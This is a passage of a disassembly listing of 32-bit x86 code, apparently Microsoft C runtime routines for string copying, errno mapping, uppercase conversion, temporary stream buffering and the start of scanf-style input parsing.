		mov	[ebp+var_4], eax
		cmp	ds:dword_4EEE3C, 0
		jnz	short loc_42663C
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41D800
		add	esp, 0Ch
		jmp	loc_426731
; ---------------------------------------------------------------------------


loc_42663C:				; CODE XREF: sub_426610+11j
		push	19h
		call	sub_421A80
		add	esp, 4


loc_426646:				; CODE XREF: sub_426610:loc_4266FEj
		cmp	[ebp+arg_8], 0
		jz	loc_426703
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, ds:byte_4EEF41[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_4266D5
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42669A
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-1], 0
		jmp	short loc_426703
; ---------------------------------------------------------------------------


loc_42669A:				; CODE XREF: sub_426610+7Fj
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	ecx, ecx
		jnz	short loc_4266D3
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-2], 0
		jmp	short loc_426703
; ---------------------------------------------------------------------------


loc_4266D3:				; CODE XREF: sub_426610+B8j
		jmp	short loc_4266FE
; ---------------------------------------------------------------------------


loc_4266D5:				; CODE XREF: sub_426610+5Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_4266FE
		jmp	short loc_426703
; ---------------------------------------------------------------------------


loc_4266FE:				; CODE XREF: sub_426610:loc_4266D3j
					; sub_426610+EAj
		jmp	loc_426646
; ---------------------------------------------------------------------------


loc_426703:				; CODE XREF: sub_426610+3Aj
					; sub_426610+88j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_426724
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_426703
; ---------------------------------------------------------------------------


loc_426724:				; CODE XREF: sub_426610+101j
		push	19h
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_426731:				; CODE XREF: sub_426610+27j
		mov	esp, ebp
		pop	ebp
		retn
sub_426610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426740	proc near		; CODE XREF: sub_41E3D0+2Ep
					; sub_420150+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4267F0
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	[ebp+var_4], 0
		jmp	short loc_426760
; ---------------------------------------------------------------------------


loc_426757:				; CODE XREF: sub_426740:loc_426788j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_426760:				; CODE XREF: sub_426740+15j
		cmp	[ebp+var_4], 2Dh
		jnb	short loc_42678A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ds:dword_450140[eax*8]
		jnz	short loc_426788
		call	sub_4267E0
		mov	edx, [ebp+var_4]
		mov	ecx, ds:dword_450144[edx*8]
		mov	[eax], ecx
		jmp	short loc_4267CD
; ---------------------------------------------------------------------------


loc_426788:				; CODE XREF: sub_426740+33j
		jmp	short loc_426757
; ---------------------------------------------------------------------------


loc_42678A:				; CODE XREF: sub_426740+24j
		cmp	[ebp+arg_0], 13h
		jb	short loc_4267A3
		cmp	[ebp+arg_0], 24h
		ja	short loc_4267A3
		call	sub_4267E0
		mov	dword ptr [eax], 0Dh
		jmp	short loc_4267CD
; ---------------------------------------------------------------------------


loc_4267A3:				; CODE XREF: sub_426740+4Ej
					; sub_426740+54j
		cmp	[ebp+arg_0], 0BCh
		jb	short loc_4267C2
		cmp	[ebp+arg_0], 0CAh
		ja	short loc_4267C2
		call	sub_4267E0
		mov	dword ptr [eax], 8
		jmp	short loc_4267CD
; ---------------------------------------------------------------------------


loc_4267C2:				; CODE XREF: sub_426740+6Aj
					; sub_426740+73j
		call	sub_4267E0
		mov	dword ptr [eax], 16h


loc_4267CD:				; CODE XREF: sub_426740+46j
					; sub_426740+61j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_426740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4267E0	proc near		; CODE XREF: sub_41E040:loc_41E312p
					; sub_41FF60+E4p ...
		push	ebp
		mov	ebp, esp
		call	sub_425C30
		add	eax, 8
		pop	ebp
		retn
sub_4267E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4267F0	proc near		; CODE XREF: sub_420150+4Ap
					; sub_4214B0+3Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_425C30
		add	eax, 0Ch
		pop	ebp
		retn
sub_4267F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		sub	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426810	proc near		; CODE XREF: sub_41E040+201p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_426837
		cmp	[ebp+arg_0], 61h
		jl	short loc_426832
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_426832
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_426832:				; CODE XREF: sub_426810+11j
					; sub_426810+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_42689F
; ---------------------------------------------------------------------------


loc_426837:				; CODE XREF: sub_426810+Bj
		push	offset dword_4EED14
		call	ds:dword_4F1428	; InterlockedIncrement
		cmp	ds:dword_4EED10, 0
		jz	short loc_426869
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_426870
; ---------------------------------------------------------------------------


loc_426869:				; CODE XREF: sub_426810+39j
		mov	[ebp+var_4], 0


loc_426870:				; CODE XREF: sub_426810+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4268B0
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_426891
		push	13h
		call	sub_421B20
		add	esp, 4
		jmp	short loc_42689C
; ---------------------------------------------------------------------------


loc_426891:				; CODE XREF: sub_426810+73j
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement


loc_42689C:				; CODE XREF: sub_426810+7Fj
		mov	eax, [ebp+arg_0]


loc_42689F:				; CODE XREF: sub_426810+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_426810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268B0	proc near		; CODE XREF: sub_426810+64p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	ds:dword_4EEA70, 0
		jnz	short loc_4268DC
		cmp	[ebp+arg_0], 61h
		jl	short loc_4268D4
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_4268D4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_4268D4:				; CODE XREF: sub_4268B0+13j
					; sub_4268B0+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_4269D7
; ---------------------------------------------------------------------------


loc_4268DC:				; CODE XREF: sub_4268B0+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_426923
		cmp	ds:dword_44FD20, 1
		jle	short loc_426901
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_426915
; ---------------------------------------------------------------------------


loc_426901:				; CODE XREF: sub_4268B0+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 2
		mov	[ebp+var_10], ecx


loc_426915:				; CODE XREF: sub_4268B0+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_426923
		mov	eax, [ebp+arg_0]
		jmp	loc_4269D7
; ---------------------------------------------------------------------------


loc_426923:				; CODE XREF: sub_4268B0+33j
					; sub_4268B0+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_42696C
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		mov	[ebp+var_8], dl
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_7], al
		mov	[ebp+var_6], 0
		mov	[ebp+var_4], 2
		jmp	short loc_42697D
; ---------------------------------------------------------------------------


loc_42696C:				; CODE XREF: sub_4268B0+98j
		mov	cl, byte ptr [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], 0
		mov	[ebp+var_4], 1


loc_42697D:				; CODE XREF: sub_4268B0+BAj
		push	1
		push	0
		push	3
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		push	200h
		mov	edx, ds:dword_4EEA70
		push	edx
		call	loc_42BB40
		add	esp, 20h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4269B1
		mov	eax, [ebp+arg_0]
		jmp	short loc_4269D7
; ---------------------------------------------------------------------------


loc_4269B1:				; CODE XREF: sub_4268B0+FAj
		cmp	[ebp+var_4], 1
		jnz	short loc_4269C1
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		jmp	short loc_4269D7
; ---------------------------------------------------------------------------


loc_4269C1:				; CODE XREF: sub_4268B0+105j
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		shl	ecx, 8
		or	eax, ecx


loc_4269D7:				; CODE XREF: sub_4268B0+27j
					; sub_4268B0+6Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4268B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4269E0	proc near		; CODE XREF: sub_41E440+79p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_4269E9:				; CODE XREF: sub_4269E0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_426A0D
		push	offset dword_4394FC
		push	0
		push	41h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_426A0D
		int	3		; Trap to Debugger


loc_426A0D:				; CODE XREF: sub_4269E0+Dj
					; sub_4269E0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4269E9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		call	sub_42E870
		add	esp, 4
		test	eax, eax
		jnz	short loc_426A33
		xor	eax, eax
		jmp	loc_426B30
; ---------------------------------------------------------------------------


loc_426A33:				; CODE XREF: sub_4269E0+4Aj
		cmp	[ebp+var_4], offset dword_44FA90
		jnz	short loc_426A45
		mov	[ebp+var_8], 0
		jmp	short loc_426A5E
; ---------------------------------------------------------------------------


loc_426A45:				; CODE XREF: sub_4269E0+5Aj
		cmp	[ebp+var_4], offset dword_44FAB0
		jnz	short loc_426A57
		mov	[ebp+var_8], 1
		jmp	short loc_426A5E
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269E0+6Cj
		xor	eax, eax
		jmp	loc_426B30
; ---------------------------------------------------------------------------


loc_426A5E:				; CODE XREF: sub_4269E0+63j
					; sub_4269E0+75j
		mov	ecx, ds:dword_4EE9C8
		add	ecx, 1
		mov	ds:dword_4EE9C8, ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jz	short loc_426A83
		xor	eax, eax
		jmp	loc_426B30
; ---------------------------------------------------------------------------


loc_426A83:				; CODE XREF: sub_4269E0+9Aj
		mov	ecx, [ebp+var_8]
		cmp	ds:dword_4EEA54[ecx*4],	0
		jnz	short loc_426AEA
		push	5Eh
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		push	1000h
		call	sub_41AE60
		add	esp, 10h
		mov	edx, [ebp+var_8]
		mov	ds:dword_4EEA54[edx*4],	eax
		mov	eax, [ebp+var_8]
		cmp	ds:dword_4EEA54[eax*4],	0
		jnz	short loc_426AEA
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 2
		jmp	short loc_426B19
; ---------------------------------------------------------------------------


loc_426AEA:				; CODE XREF: sub_4269E0+AEj
					; sub_4269E0+DBj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, ds:dword_4EEA54[eax*4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 1000h


loc_426B19:				; CODE XREF: sub_4269E0+108j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 1102h
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	eax, 1


loc_426B30:				; CODE XREF: sub_4269E0+4Ej
					; sub_4269E0+79j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4269E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426B40	proc near		; CODE XREF: sub_41E440+A3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_426B47:				; CODE XREF: sub_426B40+38j
		cmp	[ebp+arg_0], 0
		jz	short loc_426B74
		cmp	[ebp+arg_0], 1
		jz	short loc_426B74
		push	offset aFlag0Flag1 ; "flag == 0	|| flag	== 1"
		push	0
		push	0A1h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_426B74
		int	3		; Trap to Debugger


loc_426B74:				; CODE XREF: sub_426B40+Bj
					; sub_426B40+11j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_426B47
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_426BCD
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_426BCD
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_421720
		add	esp, 4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	ah, 0EEh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0


loc_426BCD:				; CODE XREF: sub_426B40+44j
					; sub_426B40+53j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_426B40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BE0	proc near		; CODE XREF: sub_41EB80+A2p

var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= dword	ptr -1E4h
var_1E0		= dword	ptr -1E0h
var_1DC		= dword	ptr -1DCh
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= byte ptr -1D0h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_55		= byte ptr -55h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		push	esi
		push	edi


loc_426BEC:				; CODE XREF: sub_426BE0+37j
		cmp	[ebp+arg_4], 0
		jnz	short loc_426C13
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	109h
		push	offset aInput_c	; "input.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_426C13
		int	3		; Trap to Debugger


loc_426C13:				; CODE XREF: sub_426BE0+10j
					; sub_426BE0+30j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_426BEC


loc_426C19:				; CODE XREF: sub_426BE0+64j
		cmp	[ebp+arg_0], 0
		jnz	short loc_426C40
		push	offset dword_4394EC
		push	0
		push	10Ch
		push	offset aInput_c	; "input.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_426C40
		int	3		; Trap to Debugger


loc_426C40:				; CODE XREF: sub_426BE0+3Dj
					; sub_426BE0+5Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_426C19
		mov	[ebp+var_28], 0
		movsx	edx, [ebp+var_28]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_34], eax


loc_426C57:				; CODE XREF: sub_426BE0:loc_427EC5j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	loc_427ECA
		cmp	ds:dword_44FD20, 1
		jle	short loc_426C89
		push	8
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_1F8], eax
		jmp	short loc_426CA5
; ---------------------------------------------------------------------------


loc_426C89:				; CODE XREF: sub_426BE0+8Dj
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_1F8], edx


loc_426CA5:				; CODE XREF: sub_426BE0+A7j
		cmp	[ebp+var_1F8], 0
		jz	short loc_426CF3
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4280A0
		add	esp, 8
		push	eax
		call	sub_428080
		add	esp, 8


loc_426CD4:				; CODE XREF: sub_426BE0+111j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_4206C0
		add	esp, 4
		test	eax, eax
		jz	short loc_426CF3
		jmp	short loc_426CD4
; ---------------------------------------------------------------------------


loc_426CF3:				; CODE XREF: sub_426BE0+CCj
					; sub_426BE0+10Fj
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	loc_427DAE
		mov	[ebp+var_40], 0
		mov	byte ptr [ebp+var_8], 0
		mov	[ebp+var_6C], 0
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_1E8], eax
		mov	ecx, [ebp+var_1E8]
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_10], 0
		mov	dl, [ebp+var_10]
		mov	[ebp+var_68], dl
		mov	al, [ebp+var_68]
		mov	[ebp+var_70], al
		mov	cl, [ebp+var_70]
		mov	[ebp+var_18], cl
		mov	dl, [ebp+var_18]
		mov	[ebp+var_64], dl
		mov	[ebp+var_14], 0
		mov	[ebp+var_38], 1
		mov	[ebp+var_1DC], 0


loc_426D55:				; CODE XREF: sub_426BE0:loc_426EADj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_426EB2
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_C], eax
		cmp	ds:dword_44FD20, 1
		jle	short loc_426D99
		push	4
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_1FC], eax
		jmp	short loc_426DB6
; ---------------------------------------------------------------------------


loc_426D99:				; CODE XREF: sub_426BE0+19Bj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_1FC], ecx


loc_426DB6:				; CODE XREF: sub_426BE0+1B7j
		cmp	[ebp+var_1FC], 0
		jz	short loc_426DE6
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		lea	edx, [ecx+eax*4]
		mov	eax, [ebp+var_C]
		lea	ecx, [eax+edx*2-30h]
		mov	[ebp+var_1C], ecx
		jmp	loc_426EAD
; ---------------------------------------------------------------------------


loc_426DE6:				; CODE XREF: sub_426BE0+1DDj
		mov	edx, [ebp+var_C]
		mov	[ebp+var_200], edx
		mov	eax, [ebp+var_200]
		sub	eax, 2Ah
		mov	[ebp+var_200], eax
		cmp	[ebp+var_200], 4Dh
		ja	loc_426EA5
		mov	edx, [ebp+var_200]
		xor	ecx, ecx
		mov	cl, ds:byte_427F28[edx]
		jmp	ds:off_427F08[ecx*4]


loc_426E20:				; DATA XREF: seg000:00427F0Co
		jmp	loc_426EAD
; ---------------------------------------------------------------------------


loc_426E25:				; CODE XREF: sub_426BE0+239j
					; DATA XREF: seg000:00427F18o
		mov	al, [ebp+var_38]
		sub	al, 1
		mov	[ebp+var_38], al
		mov	cl, [ebp+var_14]
		sub	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_426EAD
; ---------------------------------------------------------------------------


loc_426E38:				; CODE XREF: sub_426BE0+239j
					; DATA XREF: seg000:00427F10o
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	eax, 36h
		jnz	short loc_426E7A
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx+2]
		cmp	edx, 34h
		jnz	short loc_426E7A
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+var_1DC]
		add	ecx, 1
		mov	[ebp+var_1DC], ecx
		mov	[ebp+var_30], 0
		mov	[ebp+var_2C], 0
		jmp	short loc_426EAD
; ---------------------------------------------------------------------------


loc_426E7A:				; CODE XREF: sub_426BE0+263j
					; sub_426BE0+270j
		jmp	short loc_426EA5
; ---------------------------------------------------------------------------


loc_426E7C:				; CODE XREF: sub_426BE0+239j
					; DATA XREF: seg000:00427F14o
		mov	dl, [ebp+var_38]
		add	dl, 1
		mov	[ebp+var_38], dl
		jmp	short loc_426EAD
; ---------------------------------------------------------------------------


loc_426E87:				; CODE XREF: sub_426BE0+239j
					; DATA XREF: seg000:00427F1Co
		mov	al, [ebp+var_38]
		add	al, 1
		mov	[ebp+var_38], al


loc_426E8F:				; CODE XREF: sub_426BE0+239j
					; DATA XREF: seg000:00427F20o
		mov	cl, [ebp+var_14]
		add	cl, 1
		mov	[ebp+var_14], cl
		jmp	short loc_426EAD
; ---------------------------------------------------------------------------


loc_426E9A:				; CODE XREF: sub_426BE0+239j
					; DATA XREF: seg000:off_427F08o
		mov	dl, [ebp+var_70]
		add	dl, 1
		mov	[ebp+var_70], dl
		jmp	short loc_426EAD
; ---------------------------------------------------------------------------


loc_426EA5:				; CODE XREF: sub_426BE0+225j
					; sub_426BE0+239j ...
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_426EAD:				; CODE XREF: sub_426BE0+201j
					; sub_426BE0:loc_426E20j ...
		jmp	loc_426D55
; ---------------------------------------------------------------------------


loc_426EB2:				; CODE XREF: sub_426BE0+17Bj
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_426ED5
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1D4], edx
		mov	eax, [ebp+arg_8]
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx-4]
		mov	[ebp+var_3C], edx


loc_426ED5:				; CODE XREF: sub_426BE0+2D8j
		mov	[ebp+var_18], 0
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_426F0C
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 53h
		jz	short loc_426EF9
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax]
		cmp	ecx, 43h
		jnz	short loc_426F04


loc_426EF9:				; CODE XREF: sub_426BE0+30Bj
		mov	dl, [ebp+var_14]
		add	dl, 1
		mov	[ebp+var_14], dl
		jmp	short loc_426F0C
; ---------------------------------------------------------------------------


loc_426F04:				; CODE XREF: sub_426BE0+317j
		mov	al, [ebp+var_14]
		sub	al, 1
		mov	[ebp+var_14], al


loc_426F0C:				; CODE XREF: sub_426BE0+2FFj
					; sub_426BE0+322j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		or	edx, 20h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 6Eh
		jz	short loc_426F5E
		cmp	[ebp+var_C], 63h
		jz	short loc_426F43
		cmp	[ebp+var_C], 7Bh
		jz	short loc_426F43
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		call	sub_4280A0
		add	esp, 8
		mov	[ebp+var_1D8], eax
		jmp	short loc_426F5E
; ---------------------------------------------------------------------------


loc_426F43:				; CODE XREF: sub_426BE0+343j
					; sub_426BE0+349j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_426F5E:				; CODE XREF: sub_426BE0+33Dj
					; sub_426BE0+361j
		cmp	[ebp+var_1E8], 0
		jz	short loc_426F71
		cmp	[ebp+var_1C], 0
		jz	loc_427D7F


